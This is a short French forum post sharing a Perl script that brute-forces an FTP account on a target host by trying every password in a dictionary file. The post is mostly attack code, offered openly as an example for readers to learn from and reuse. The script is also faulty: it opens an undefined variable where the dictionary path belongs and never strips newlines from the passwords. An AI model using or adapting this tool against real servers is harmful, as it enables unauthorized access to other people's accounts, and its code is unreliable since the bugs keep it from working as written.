Yop :-)
Ca fait longtemp que j'ai pas posté de code donc en voici un petit .
Ce code permettra ( je l'espere) a certains de comprendre et leur donnera quelques idées de code a réaliser.
[code:1:f9922a6cdc]
#!/usr/bin/perl
use Net::FTP;
(($server = $ARGV[0])) || die "usage:$0 <target> ";
print "\n [~] User a tester : \n";
chomp($user = <STDIN>);
print "\n [~] Path Du Dictionnaire a utiliser : ";
my $list=<STDIN>;
print "\n---_ Brute Forçing en cours......\n";
$ftp = Net::FTP->new("$server");
die "\nCould not connect: $!" unless $ftp;
open (PASSFILE,"$pwd") or die "\n !-Erreur a l'ouverture du Dictionnaire-!\n";
my @PASSWORDS = <PASSFILE>;
close PASSFILE;
foreach $pwd ( @PASSWORDS ) {
$pass = $pwd;
if($ftp->login("$user","$pass"))
{
print "\n -> $pass is the password for user : $user !\n";
die " [~] Bruteforcing : Successfull ! \n\n";
}
}
$ftp->quit();[/code:1:f9922a6cdc]
Enjoy!